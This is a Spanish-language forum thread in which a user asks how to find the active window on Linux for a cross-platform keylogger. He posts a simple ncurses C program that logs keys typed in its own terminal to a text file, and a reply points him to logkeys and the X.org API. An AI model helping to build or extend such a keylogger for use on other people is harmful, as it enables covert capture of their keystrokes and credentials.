Autor
|
Tema: GetForeGroundWindow linux. (Leído 3,391 veces)
|
0xDani
Desconectado
Mensajes: 1.077
|
Hola estoy haciendo un keylogger, que espero que sea multiplataforma, y ya tengo hecho el que coja las teclas y las mande a un archivo de texto, pero no se como coger el foco de la ventana activa. Se cual es la tipica funcion GetForeGroundWindow, pero estoy en ubuntu. ¿Alguien sabe cual es el equivalente de esto en linux? Dejo lo que llevo por si a alguien le interesa: #include <stdio.h> #include <ncurses.h>
FILE* fichero;
int kbhit(void) { int ch = getch();
if (ch != ERR) { ungetch(ch); return 1; } else { return 0; } }
int main() { initscr(); noecho(); nodelay(stdscr, true); fichero = fopen("string.txt","a"); while (1){ if (kbhit()){fputc(getch(),fichero); fflush(fichero); } refresh(); } return 0; }
Y para compilar: g++ 'ruta/del/codigo/fuente' -o klg -lncurses Saludos y gracias de antemano
|
|
|
En línea
|
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!
I code for $$$ Hago trabajos en C/C++ Contactar por PM
|
|
|
Foxy Rider
Desconectado
Mensajes: 2.407
Deprecated
|
¿Y si mirás el código de logkeys? http://code.google.com/p/logkeys/El input lo tenés en un dispositivo aparte y podés usar la API de Linux para eso. Saludos. P.S → Como nota aparte, obtener un handle del ID de ventana que está bajo el mouse podés hacerlo con la API de X.org ... pero no hay pasar por la API de Xorg !! el código de xwininfo es chiquitito y simple, ahí tenés un ejemplo por si te dá curiosidad
|
|
« Última modificación: 4 Junio 2012, 01:45 am por vertexSymphony »
|
En línea
|
|
|
|
0xDani
Desconectado
Mensajes: 1.077
|
Gracias por la info, me mirare el codigo. Saludos EDITO: He leido el codigo y he encontrado una funcion que creo que me puede ayudar, getpid(), incluida en unistd.h, y he leido que retorna el PID del proceso actual pero no se si es del mismo proceso que la llama o de la ventana activa.
|
|
« Última modificación: 4 Junio 2012, 16:34 pm por daniyo »
|
En línea
|
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!
I code for $$$ Hago trabajos en C/C++ Contactar por PM
|
|
|
|
0xDani
Desconectado
Mensajes: 1.077
|
Gracias, lo mirare.
|
|
|
En línea
|
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!
I code for $$$ Hago trabajos en C/C++ Contactar por PM
|
|
|
0xDani
Desconectado
Mensajes: 1.077
|
XGetSelectionOwner()? Estoy buscando informacion, pero esta todo en ingles y no llego a entender los pormenores(aunque en este caso son las cosas que vienen a ser importantes), de las funciones, ni de lo que es la "selection" aunque creo que es una propiedad que tiene la ventana activa.
|
|
|
En línea
|
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!
I code for $$$ Hago trabajos en C/C++ Contactar por PM
|
|
|
Foxy Rider
Desconectado
Mensajes: 2.407
Deprecated
|
Y seguís pensando que como se hacen las cosas en Windows, es como se hacen en *nix ...
|
|
|
En línea
|
|
|
|
0xDani
Desconectado
Mensajes: 1.077
|
Es que esta muy mal la cosa, no hay manera de encontrar un keylogger basico que sirva de orientacion para *nix, y ademas era por hacer una pregunta mas concreta.
|
|
|
En línea
|
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!
I code for $$$ Hago trabajos en C/C++ Contactar por PM
|
|
|
|
|